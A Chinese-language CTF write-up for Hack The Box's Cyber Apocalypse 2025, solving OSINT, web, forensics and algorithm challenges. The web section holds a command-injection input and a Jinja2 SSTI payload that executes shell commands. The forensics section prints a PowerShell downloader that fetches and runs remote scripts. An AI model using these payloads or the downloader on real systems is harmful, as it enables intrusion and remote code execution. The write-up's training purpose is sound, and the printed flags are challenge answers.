Cyber Apocalypse CTF 2025: Tales from Eldoria

比赛地址:Cyber Apocalypse CTF 2025: Tales from Eldoria

比赛时间:21 Mar 2025 21:00 CST - 26 Mar 2025 20:59 CST

复现的题目用🔁标注


OSINT

The Ancient Citadel

Challenge

The Ancient Citadel

Deep in her sanctum beneath Eldoria’s streets, Nyla arranges seven crystalline orbs in a perfect circle. Each contains a different vision of stone battlements and weathered walls—possible matches for the mysterious fortress the Queen seeks in the southern kingdoms of Chile. The image in her central crystal pulses with ancient power, showing a majestic citadel hidden among the distant Chilean mountains. Her fingers dance across each comparison crystal, her enchanted sight noting subtle architectural differences between the visions. The runes along her sleeves glow more intensely with each elimination until only one crystal remains illuminated. As she focuses her magical threads on this final vision, precise location runes appear in glowing script around the orb. Nyla smiles in satisfaction as the fortress reveals not just its position, but its true name and history. A more challenging mystery solved by Eldoria’s premier information seeker, who knows that even the most distant fortifications cannot hide their secrets from one who compares the patterns of stone and shadow.
HTB{street_number_exactzipcode_city_with_underscores_region}
Example: HTB{Libertad_102_2520000_Viña_del_Mar_Valparaíso} Use underscores between words and include special characters where appropriate

ancientcitadel

Solution

谷歌识图找到这篇文章 Castillo Brunet | Consejo de Monumentos Nacionales de Chile

htb2107-1

确认了就是 Castillo Brunet,上谷歌地图找位置 Castillo Brunet - Google 地圖

htb2107-2

plaintext
1
HTB{Iberia_104_2571409_Viña_del_Mar_Valparaíso}

The Shadowed Sigil

Challenge

The Shadowed Sigil

In the central chamber of Eldoria’s Arcane Archives, Nyla studies a glowing sigil captured by the royal wardens. The ethereal marking—“139.5.177.205”—pulsates with malicious energy, having appeared in multiple magical breaches across the realm. Her fingers trace the sigil’s unique pattern as her network of crystals begins to search through records of known dark covens and their magical signatures. The runes along her sleeves flash with recognition as connections form between seemingly unrelated incidents. Each magical attack bears the same underlying pattern, the same arcane origin. Her enchanted sight follows the magical threads backward through time and space until the name of a notorious cabal of shadow mages materializes in glowing script. Another dangerous secret revealed by Eldoria’s master information seeker, who knows that even the most elusive malefactors leave traces of their magic for those skilled enough to recognize their unique signature.
HTB{APTNumber}
Example: HTB{APT01} No special characters

Solution

这题要求通过给定的 IP 地址 139.5.177.205 找到一个特定的 APT(Advanced Persistent Threat)编号,通过查询公开的 APT 组织数据库尝试将这个 IP 地址与已知的 APT 编号关联起来

搜了下这个 IP 就找到了 [ioc [.] one - OSINT Cyber Threat Intelligence Database](https://ioc.one/auth/attribute/edaac7f0-e137-5bdf-a2d3-5377b688275e)

htb2107-3

plaintext
1
HTB{APT28}

The Mechanical Bird’s Nest

Challenge

The Mechanical Bird’s Nest

In the highest tower of Eldoria’s archives, Nyla manipulates a crystal scrying glass, focusing on a forbidden fortress in the desert kingdoms. The Queen’s agents have discovered a strange mechanical bird within the fortress walls—an unusual flying machine whose exact position could reveal strategic secrets. Nyla’s fingers trace precise measurement runes across the crystal’s surface as the aerial image sharpens. Her magical lattice grid overlays the vision, calculating exact distances and positions. The blue runes along her sleeves pulse rhythmically as coordinates appear in glowing script. Another hidden truth uncovered by the realm’s premier information seeker, who knows that even the most distant secrets cannot hide from one who sees with magical precision.
The Mechanical Bird’s Nest: HTB{XX.XXX_-XXX.XXX}
Example: HTB{48.858_-222.294} Latitude and longitude format with a dash separating the coordinates

birdnest

Solution

识图发现这是 51 区的卫星图,直接在地图上找 51 區 - Google 地圖

htb2107-4

plaintext
1
HTB{37.247_-115.812}

The Stone That Whispers

Challenge

The Stone That Whispers

In the twilight archives of Eldoria, Nyla studies an image of a mysterious monument. Her enchanted crystals glow as she traces ancient maps with rune-covered fingers. The stone atop the hill of kings calls to her, its secrets hidden in scattered records across realms. As her magical threads of knowledge connect, the true name emerges in glowing script: “The Stone of Destiny.” Another mystery solved by the realm’s most skilled information seeker, who knows that every artifact leaves traces for those who can read the signs.
HTB{Name_Object}
Example: HTB{Pia_Pail} No special characters

![stone thar whispers](https://gitlab.com/aristorechina/writeup_imgur1/-/raw/main/2025/stone thar whispers_dc50d84e3056b8e9.png)

Solution

htb2107-5

plaintext
1
HTB{Lia_Fail}

Echoes in Stone

Challenge

Echoes in Stone

In the twilight archives of Eldoria, Nyla studies an image of an ancient Celtic cross. Her enchanted crystals illuminate the intricate carvings as she searches through forgotten tomes. The cross stands at a crossroads of realms and time, its weathered surface telling tales older than Eldoria itself. As her magical threads of knowledge connect across centuries, the true name of the monument emerges in glowing script before her eyes. Another mystery solved by the realm’s most skilled information seeker, who knows that even stone can speak to those who know how to listen.
HTB{Name_High_Cross}
Example: HTB{Kells_High_Cross} No special characters and avoid using the letter 's

echoesinthestone

Solution

htb2107-6

plaintext
1
HTB{Muiredach_High_Cross}

Web

Whispers of the Moonbeam

Challenge

Whispers of the Moonbeam

In the heart of Valeria’s bustling capital, the Moonbeam Tavern stands as a lively hub of whispers, wagers, and illicit dealings. Beneath the laughter of drunken patrons and the clinking of tankards, it is said that the tavern harbors more than just ale and merriment—it is a covert meeting ground for spies, thieves, and those loyal to Malakar’s cause. The Fellowship has learned that within the hidden backrooms of the Moonbeam Tavern, a crucial piece of information is being traded—the location of the Shadow Veil Cartographer, an informant who possesses a long-lost map detailing Malakar’s stronghold defenses. If the fellowship is to stand any chance of breaching the Obsidian Citadel, they must obtain this map before it falls into enemy hands.

Solution

输入命令 help 会显示可用的命令

htb2107-7

逐个尝试,发现 gossip 似乎是运行了 ls 命令,下面输出了一些文件的名字

htb2107-8

尝试使用命令 ls flag.txt | xargs cat 读取 flag.txt 的信息,这里使用 gossip 取代 ls

bash
1
gossip flag.txt | xargs cat

htb2107-9

plaintext
1
HTB{Sh4d0w_3x3cut10n_1n_Th3_M00nb34m_T4v3rn_df78bb2d64718a12f30fe10d254c6647}

Trial by Fire

Challenge

Trial by Fire

As you ascend the treacherous slopes of the Flame Peaks, the scorching heat and shifting volcanic terrain test your endurance with every step. Rivers of molten lava carve fiery paths through the mountains, illuminating the night with an eerie crimson glow. The air is thick with ash, and the distant rumble of the earth warns of the danger that lies ahead. At the heart of this infernal landscape, a colossal Fire Drake awaits—a guardian of flame and fury, determined to judge those who dare trespass. With eyes like embers and scales hardened by centuries of heat, the Fire Drake does not attack blindly. Instead, it weaves illusions of fear, manifesting your deepest doubts and past failures. To reach the Emberstone, the legendary artifact hidden beyond its lair, you must prove your resilience, defying both the drake’s scorching onslaught and the mental trials it conjures. Stand firm, outwit its trickery, and strike with precision—only those with unyielding courage and strategic mastery will endure the Trial by Fire and claim their place among the legends of Eldoria.

Solution

查阅 web_trial_by_fire\challenge\application\blueprints\routes.py 代码,发现 /battle-report 路由使用了 render_template_string,这里可能存在 SSTI 漏洞

python
1
return render_template_string(REPORT_TEMPLATE)

render_template_string 会直接将字符串作为模板进行渲染,REPORT_TEMPLATE 是一个动态生成的字符串模板,其中插入了用户提供的数据(如 warrior_namestats 中的各项)

warrior_name 可以在 /begin 中传入

如果 warrior_name 未经过滤,那么我就可以在这里注入恶意模板代码

先判断一下是否存在 SSTI 漏洞

python
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

BASE_URL = "http://83.136.250.101:57974"
session = requests.Session()

warrior_name_payload = "{{ 99**99 }}"
response = session.post(
f"{BASE_URL}/begin",
data={"warrior_name": warrior_name_payload}
)

response = session.post(f"{BASE_URL}/battle-report")
print(response.text)

htb2107-10

这很明显就是存在 SSTI 漏洞了

先 ls 发现当前目录有如下文件

plaintext
1
2
3
4
5
6
application
flag.txt
requirements.txt
uwsgi.ini
venv
wsgi.py

然后直接 cat 就能拿到 flag 了

python
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

BASE_URL = "http://83.136.250.101:57974"
session = requests.Session()

warrior_name_payload = "{{ config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read() }}"
response = session.post(
f"{BASE_URL}/begin",
data={"warrior_name": warrior_name_payload}
)

response = session.post(f"{BASE_URL}/battle-report")
print(response.text)

htb2107-11

plaintext
1
HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght_952552e49d7771494606df2023a2db8e}

Forensics

Thorin’s Amulet

Challenge

Thorin’s Amulet

Garrick and Thorin’s visit to Stonehelm took an unexpected turn when Thorin’s old rival, Bron Ironfist, challenged him to a forging contest. In the end Thorin won the contest with a beautifully engineered clockwork amulet but the victory was marred by an intrusion. Saboteurs stole the amulet and left behind some tracks. Because of that it was possible to retrieve the malicious artifact that was used to start the attack. Can you analyze it and reconstruct what happened? Note: make sure that domain korp.htb resolves to your docker instance IP and also consider the assigned port to interact with the service.

Solution

题目给出的附件 artifact.ps1 如下

powershell
1
2
3
4
5
6
7
function qt4PO {
if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
exit
}
powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
}
qt4PO

base64 编码部分解码得到 (New-Object Net.WebClient).DownloadString("http://korp.htb/update")

可见脚本从 http://korp.htb/update 下载内容

开启 Docker 示例,从 http://94.237.54.21:43525/update 上下载到一个新的脚本 update.ps1

powershell
1
2
3
4
5
function aqFVaq {
Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1
powershell.exe -exec Bypass -File "a541a.ps1"
}
aqFVaq

使用 curl 模拟请求

bash
1
curl -H "X-ST4G3R-KEY: 5337d322906ff18afedc1edc191d325d" http://94.237.54.21:43525/a541a -o a541a.ps1

得到 a541a.ps1

bash
1
2
$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join ""

htb2107-12

将十六进制字符串 4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d 转为字符即可得到 flag

plaintext
1
HTB{7h0R1N_H45_4lW4Y5_833n_4N_9r347_1NV3n70r}

A new Hire

Challenge

A new Hire

The Royal Archives of Eldoria have recovered a mysterious document—an old resume once belonging to Lord Malakar before his fall from grace. At first glance, it appears to be an ordinary record of his achievements as a noble knight, but hidden within the text are secrets that reveal his descent into darkness.

附件 email.eml 如下

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
Return-Path: <elowan81@eldor.ia>
Received: from mail-sor-f41.eldor.ia (mail-sor-f41.eldor.ia [209.85.220.41])
by mx.eldor.ia (Postfix) with ESMTPS id A1B2C3D4E5F6
for <work@eldor.ia>; Mon, 01 Jan 2024 12:34:56 -0700 (PDT)
(version=TLS1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256)
Received: from [192.168.1.100] (customer-pool-192-168-1-100.eldor.ia [192.168.1.100])
by mail-sor-f41.eldor.ia with ESMTPSA id F6E5D4C3B2A1
for <work@eldor.ia>; Mon, 01 Jan 2024 12:34:55 -0700 (PDT)
(version=TLS1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128)
Authentication-Results: mx.eldor.ia;
dkim=pass header.d=eldor.ia header.s=default header.b="3nw7H9qL1vXf5T8sK2zY6pB4rQ0eC7uM";
spf=pass (mx.eldor.ia: domain of elowan81@eldor.ia designates 209.85.220.41 as permitted sender) smtp.mailfrom=elowan81@eldor.ia;
dmarc=pass (p=quarantine sp=reject) header.from=eldor.ia
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=eldor.ia; s=default; t=1704123295;
h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type;
bh=Qm6qK81lr9XH/FGV5tS2kD3pW4aI7m2xZv9d1kE6cT8y=;
b=V8pPz1n+R2tW4yZ6aB8cD0eF2gH4iJ6kL8mN0oP2qR4sT6uV8wX0yZ2aB4cD6eF8
gH0iJ2kL4mN6oP8qR0sT2uV4wX6yZ8aB0cD2eF4gH6iJ8kL0mN2oP4qR6sT8uV0wX2yZ4;
Received-SPF: pass (mx.eldor.ia: domain of elowan81@eldor.ia designates 209.85.220.41 as permitted sender) client-ip=209.85.220.41;
ARC-Authentication-Results: i=1; mx.eldor.ia;
dkim=pass header.d=eldor.ia header.s=default header.b="3nw7H9qL1vXf5T8sK2zY6pB4rQ0eC7uM";
spf=pass smtp.mailfrom=elowan81@eldor.ia;
dmarc=pass (p=quarantine sp=reject) header.from=eldor.ia
ARC-Seal: i=1; a=rsa-sha256; t=1704123295; cv=none;
d=eldor.ia; s=arc20240101;
b=n8U2w3v1y7Z4x6T9r5q0p3o1l7m6k2j8i4h1g3f5d7s9a0b2c4e6r8t0y5u3w1x2
a9b7c5d3e1f0g2h4i6j8k0l2m4n6o8p0q2r4s6t8u0v2w4x6y8z0A2B4C6D8E0F2G4;
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed;
d=eldor.ia; s=arc20240101;
h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type;
bh=Qm6qK81lr9XH/FGV5tS2kD3pW4aI7m2xZv9d1kE6cT8y=;
b=k4n5o6p7q8r9s0t1u2v3w4x5y6z7A8B9C0D1E2F3G4H5I6J7K8L9M0N1O2P3Q4R5
S6T7U8V9W0X1Y2Z3a4b5c6d7e8f9g0h1i2j3k4l5m6n7o8p9q0r1s2t3u4v5w6x7y8;
Message-ID: <20240101123456.1234567890@mail-sor-f41.eldor.ia>
From: "Elowan" <elowan81@eldor.ia>
To: "Work" <work@eldor.ia>
Subject: Job Application - Resume Review
Date: Mon, 01 Jan 2024 12:34:56 -0700
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit

Hello Work Team,

I hope this email finds you well. We have received a new application for the open position, and we wanted to bring it to your attention.

The applicant, Lord Malakar, has an extensive background in leadership, strategic planning, and resource management.
With years of experience commanding large-scale operations, overseeing tactical deployments, and influencing key stakeholders, Malakar believes he would be a strong asset to your organization.

Key Highlights from His Experience:

Strategic Leadership: Spearheaded large-scale initiatives that reshaped industry landscapes.
Crisis Management: Adept at handling high-pressure situations and making decisive calls.
Team Motivation: Known for fostering loyalty and rallying teams toward ambitious goals.
Innovative Thinking: Developed groundbreaking methods to enhance efficiency and control.
We believe Malakar’s skills and experience could be a great fit for your team, and he is eager to discuss how he can contribute to [Company Name]’s continued success.

You can review his resume here:
`storage.microsoftcloudservices.com:[PORT]/index.php`

Please let us know if you would like to proceed with the next steps in the hiring process.

Best regards,
Elowan

PS: Make sure you replace the '[PORT]' with your instance's port. Additionally, make sure that any hostnames that are found point to your instance's IP address!

Solution

邮件正文提到一个名为 “Lord Malakar” 的申请人,并附带了一个简历链接:storage.microsoftcloudservices.com:[PORT]/index.php

因此打开实例后访问 http://83.136.253.184:40746/index.php

htb2107-13

点击 View Full Resume 之后发现网页试图访问 search:displayname=Downloads&subquery=\\83.136.253.184@40746\3fe1690d955e8fd2a0b282501570e1f4\resumes\,也就是在资源管理器打开 \\83.136.253.184@40746\3fe1690d955e8fd2a0b282501570e1f4\resumes\

htb2107-14

在这个路径下发现了一个 cmd 的快捷方式

返回上一个路径发现了 4 个文件夹

htb2107-15

打开 configs 目录中的 client.py

htb2107-16

发现了这个 base64 字符串 SFRCezRQVF8yOF80bmRfbTFjcjBzMGZ0X3MzNHJjaD0xbjF0MTRsXzRjYzNzISF9Cg==

htb2107-17

解码得到 flag

plaintext
1
HTB{4PT_28_4nd_m1cr0s0ft_s34rch=1n1t14l_4cc3s!!}

Coding

ClockWork Gurdian

Challenge

The Clockwork Guardian

The Clockwork Sentinels defending Eldoria’s Skywatch Spire have gone rogue! You must navigate through the spire, avoiding hostile sentinels and finding the safest path to the exit.

Write an algorithm to find the shortest safe path from the start position (0,0) to the exit (‘E’), avoiding the sentinels (1).

Example

Example Grid and Output

plaintext
1
2
3
4
5
6
[
[0, 0, 1, 0, 'E'],
[1, 0, 1, 0, 1],
[0, 0, 0, 1, 0],
[1, 1, 0, 0, 0]
]

Output: 6

Step-by-Step Visualization:

Step 0 (Start):

plaintext
1
2
3
4
Row 0: S   0   X   0   E
Row 1: X 0 0 0 X
Row 2: . . . X .
Row 3: X X . . .

Step 1:

plaintext
1
2
3
4
Row 0: S   1   X   0   E
Row 1: X 0 0 0 X
Row 2: . . . X .
Row 3: X X . . .

Step 2:

plaintext
1
2
3
4
Row 0: S   1   X   0   E
Row 1: X 2 0 0 X
Row 2: . . . X .
Row 3: X X . . .

Step 3:

plaintext
1
2
3
4
Row 0: S   1   X   0   E
Row 1: X 2 3 0 X
Row 2: . . . X .
Row 3: X X . . .

Step 4:

plaintext
1
2
3
4
Row 0: S   1   X   0   E
Row 1: X 2 3 4 X
Row 2: . . . X .
Row 3: X X . . .

Step 5:

plaintext
1
2
3
4
Row 0: S   1   X   5   E
Row 1: X 2 3 4 X
Row 2: . . . X .
Row 3: X X . . .

Step 6 (Exit reached):

plaintext
1
2
3
4
Row 0: S   1   X   5   E
Row 1: X 2 3 4 X
Row 2: . . . X .
Row 3: X X . . .

At Step 6, the exit (E) is reached.

Solution

下面是解决这个问题的 Python 代码。我们将使用广度优先搜索(BFS)算法来找到从起点 (0,0) 到出口 'E' 的最短路径,同时避开值为 1 的哨兵。

代码实现

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from collections import deque

def shortest_safe_path(grid):
# 获取网格的行数和列数
rows = len(grid)
cols = len(grid[0])

# 定义四个方向:上、下、左、右
directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]

# 找到出口 'E' 的位置
for r in range(rows):
for c in range(cols):
if grid[r][c] == 'E':
exit_pos = (r, c)
break

# BFS 队列,初始位置是 (0, 0),步数为 0
queue = deque([(0, 0, 0)]) # (row, col, steps)
visited = set() # 记录访问过的位置
visited.add((0, 0))

while queue:
r, c, steps = queue.popleft()

# 如果到达出口,返回步数
if (r, c) == exit_pos:
return steps

# 尝试向四个方向移动
for dr, dc in directions:
nr, nc = r + dr, c + dc

# 检查新位置是否在网格范围内且未访问过
if 0 <= nr < rows and 0 <= nc < cols and (nr, nc) not in visited:
# 确保新位置不是哨兵 (1)
if grid[nr][nc] != 1:
visited.add((nr, nc))
queue.append((nr, nc, steps + 1))

# 如果无法到达出口,返回 -1
return -1

# 输入处理
input_grid = eval(input()) # 输入示例: [[0, 0, 1, 0, 'E'], [1, 0, 1, 0, 1], [0, 0, 0, 1, 0], [1, 1, 0, 0, 0]]

# 调用函数并输出结果
result = shortest_safe_path(input_grid)
print(result)

代码解释

  1. 输入处理:

    • 使用 eval(input()) 将输入字符串解析为二维列表。例如,输入 "[[0, 0, 1, 0, 'E'], [1, 0, 1, 0, 1], [0, 0, 0, 1, 0], [1, 1, 0, 0, 0]]" 会被解析为一个嵌套列表。
  2. 找到出口位置:

    • 遍历整个网格,找到值为 'E' 的位置,并将其存储为 exit_pos
  3. 广度优先搜索 (BFS):

    • 使用队列 deque 实现 BFS,初始位置为 (0, 0),步数为 0
    • 每次从队列中取出一个位置,尝试向四个方向移动。
    • 如果新位置在网格范围内、未被访问过且不是哨兵 (1),则将其加入队列,并标记为已访问。
  4. 终止条件:

    • 如果当前位置等于出口位置 exit_pos,返回当前步数。
    • 如果队列为空且未找到出口,返回 -1 表示无法到达。
  5. 输出结果:

    • 最终输出最短路径的步数。

时间复杂度与空间复杂度

  • 时间复杂度:O(rows×cols)O(rows \times cols),每个网格单元最多访问一次。
  • 空间复杂度:O(rows×cols)O(rows \times cols),用于存储访问状态和队列。

注意事项

  1. 输入必须是有效的二维列表格式。
  2. 如果网格中没有出口 'E' 或起点 (0,0) 被哨兵阻挡,程序会返回 -1
  3. 确保输入的网格数据类型正确,否则可能导致解析错误。
plaintext
1
HTB{CL0CKW0RK_GU4RD14N_OF_SKYW4TCH_59a0dbb65269378bbccd4561bfd0d8c2}

Dragon Fury

Challenge

Dragon’s Fury Simulation

In the epic battle against Malakar’s dark forces, the ancient dragons must unleash a series of precise attacks. Each attack round offers several potential damage values—but only one combination of attacks will sum up exactly to the damage required to vanquish the enemy.

Your Task

  1. Read a single string that represents a list of subarrays. Each subarray contains possible damage values for one round.
    Example:[[13, 15, 27, 17], [24, 15, 28, 6, 15, 16], [7, 25, 10, 14, 11], [23, 30, 14, 10]]
  2. Read an integer T that represents the target total damage required.
  3. Pick exactly one number from each subarray so that their sum equals T.
    It is guaranteed that there is exactly one valid solution.
  4. Output the valid combination (as a list) that meets the target damage.

Example

Input

plaintext
1
2
[[13, 15, 27, 17], [24, 15, 28, 6, 15, 16], [7, 25, 10, 14, 11], [23, 30, 14, 10]]
77

Output

plaintext
1
[23, 30, 14, 10]

Explanation:

The input represents 4 rounds of attacks, each with a list of possible damage values. The unique valid solution is the combination[23, 30, 14, 10]which sums exactly to 77.

Solution

以下是解决该问题的 Python 代码,它会根据输入找到满足目标伤害值的唯一组合,并输出结果:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 读取输入的字符串表示的列表和目标伤害值
input_text = input() # 输入格式:子数组和目标值,例如 "[[13, 15, 27, 17], [24, 15, 28, 6, 15, 16], [7, 25, 10, 14, 11], [23, 30, 14, 10]]\n77"
target_damage = int(input()) # 目标总伤害值

# 将输入字符串解析为Python列表
import ast
damage_rounds = ast.literal_eval(input_text)

# 使用回溯算法寻找唯一的有效组合
def find_combination(rounds, target, index=0, current_combination=None):
if current_combination is None:
current_combination = []

# 如果已经选择了所有轮次的攻击值
if index == len(rounds):
if sum(current_combination) == target:
return current_combination
return None

# 遍历当前轮次的所有可能值
for value in rounds[index]:
current_combination.append(value)
result = find_combination(rounds, target, index + 1, current_combination)
if result is not None: # 如果找到了有效组合,则返回
return result
current_combination.pop() # 回溯,移除当前选择

# 调用函数并输出结果
valid_combination = find_combination(damage_rounds, target_damage)
print(valid_combination)

代码解析

  1. 输入解析

    • 使用 ast.literal_eval 将输入字符串解析为 Python 的嵌套列表结构。
    • 通过 int(input()) 读取目标伤害值。
  2. 回溯算法

    • 定义递归函数 find_combination,逐轮选择一个值并尝试构建满足条件的组合。
    • 每次递归时,检查是否选择了所有轮次的值。如果已选择完且总和等于目标值,则返回当前组合。
    • 如果当前组合不满足条件,则回溯(移除最后一个选择)并尝试其他值。
  3. 唯一解保证

    • 根据题目描述,输入数据保证有且仅有一个有效解,因此算法在找到第一个有效组合时即可返回。
  4. 时间复杂度

    • 假设有 n 轮攻击,每轮最多有 m 个值,则最坏情况下需要遍历所有可能的组合,时间复杂度为O(mn)O(m^n)。但在实际场景中,由于题目保证唯一解,算法会提前终止。

注意事项

  • 确保输入格式正确,例如子数组需要用双层方括号包裹,且目标值为整数。
  • 如果输入数据格式不符合预期,ast.literal_evalint(input()) 可能会抛出异常,可以添加错误处理逻辑以增强健壮性。
plaintext
1
HTB{DR4G0NS_FURY_SIM_C0MB0_7e39cbe788298eaf52e50b131a8412ba}

Summoners Incantation

Challenge

The Summoner’s Incantation

Deep within the ancient halls lies the secret of the Dragon’s Heart—a power that can only be unlocked by combining magical tokens in just the right way. The tokens are delicate: if you combine two adjacent tokens, their energy dissipates into the void.

Your quest is to determine the maximum amount of energy that can be harnessed by selecting tokens such that no two selected tokens are adjacent. This challenge is equivalent to finding the maximum sum of non-adjacent numbers from a list.


🔥Your Quest

Input Format:

  • A single line containing a Python-style list of integers representing token energies.
    Example: [3, 2, 5, 10, 7]

Output Format:

  • A single integer that is the maximum energy obtainable by summing non-adjacent tokens.

🔥Example 1

Input:

plaintext
1
[3, 2, 5, 10, 7]

Output:

plaintext
1
15

Explanation: The optimal selection is to pick tokens 3, 5, and 7 (non-adjacent), yielding a sum of 3 + 5 + 7 = 15.

🔥Example 2

Input:

plaintext
1
[10, 18, 4, 7]

Output:

plaintext
1
25

Explanation: The best choice is to select 18 and 7 (tokens at positions 2 and 4) for a total of 18 + 7 = 25.

🔥Ancient Wisdom

  • Examine each token’s energy value carefully.
  • If you combine adjacent tokens, their magical energy is lost!
  • Find the optimal combination that maximizes the total energy while ensuring no two tokens are adjacent.

Solution

要解决这个问题,我们可以使用动态规划(Dynamic Programming, DP)的方法来计算非相邻元素的最大和。以下是解决问题的详细步骤和代码实现:

问题分析

  1. 给定一个整数列表,表示每个令牌的能量值。
  2. 我们需要选择一些令牌,使得它们的总能量最大,并且选中的令牌不能是相邻的。
  3. 这是一个经典的 “打家劫舍” 问题(House Robber Problem),可以用动态规划高效解决。

动态规划思路

  • 定义 dp[i] 表示从前 i 个令牌中能够获得的最大能量。
  • 对于第 i 个令牌:
    • 如果我们选择它,则不能选择第 i-1 个令牌,因此最大能量为 dp[i-2] + tokens[i]
    • 如果我们不选择它,则最大能量为 dp[i-1]
  • 状态转移方程:

    dp[i]=max(dp[i1],dp[i2]+tokens[i])dp[i] = \max(dp[i-1], dp[i-2] + tokens[i])

  • 初始条件:
    • dp[0] = tokens[0] (只有一个令牌时,最大能量就是它本身)。
    • dp[1] = \max(tokens[0], tokens[1]) (两个令牌时,取较大的那个)。

优化空间复杂度

由于 dp[i] 只依赖于前两个状态 dp[i-1]dp[i-2],我们可以用两个变量代替整个 dp 数组,从而将空间复杂度从O(n)O(n) 降低到O(1)O(1)

Python 代码实现

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 输入处理
input_text = input() # 输入是一个字符串形式的列表,例如 "[3, 2, 5, 10, 7]"
tokens = eval(input_text) # 将字符串转换为列表

# 动态规划求解
if not tokens: # 空列表情况
result = 0
elif len(tokens) == 1: # 只有一个元素
result = tokens[0]
else:
# 初始化前两个状态
prev2 = 0 # dp[i-2]
prev1 = 0 # dp[i-1]

for energy in tokens:
current = max(prev1, prev2 + energy) # 当前状态
prev2 = prev1 # 更新 dp[i-2]
prev1 = current # 更新 dp[i-1]

result = prev1 # 最终结果存储在 prev1 中

# 输出结果
print(result)

代码解析

  1. 输入处理
    • 使用 eval() 将输入字符串解析为 Python 列表。注意:在实际应用中,建议使用更安全的解析方法(如 ast.literal_eval),以避免潜在的安全风险。
  2. 特殊情况处理
    • 如果列表为空,直接返回 0。
    • 如果列表只有一个元素,直接返回该元素。
  3. 动态规划核心逻辑
    • 遍历每个令牌的能量值,根据状态转移方程更新 prev1prev2
  4. 最终结果
    • 遍历结束后,prev1 中存储的就是最大能量值。

时间与空间复杂度

  • 时间复杂度O(n)O(n),其中nn 是列表的长度。我们只需遍历一次列表。
  • 空间复杂度O(1)O(1),因为我们只用了两个变量来存储中间状态。
plaintext
1
HTB{SUMM0N3RS_INC4NT4T10N_R3S0LV3D_7467523b671d3b3dd9575be555061ce3}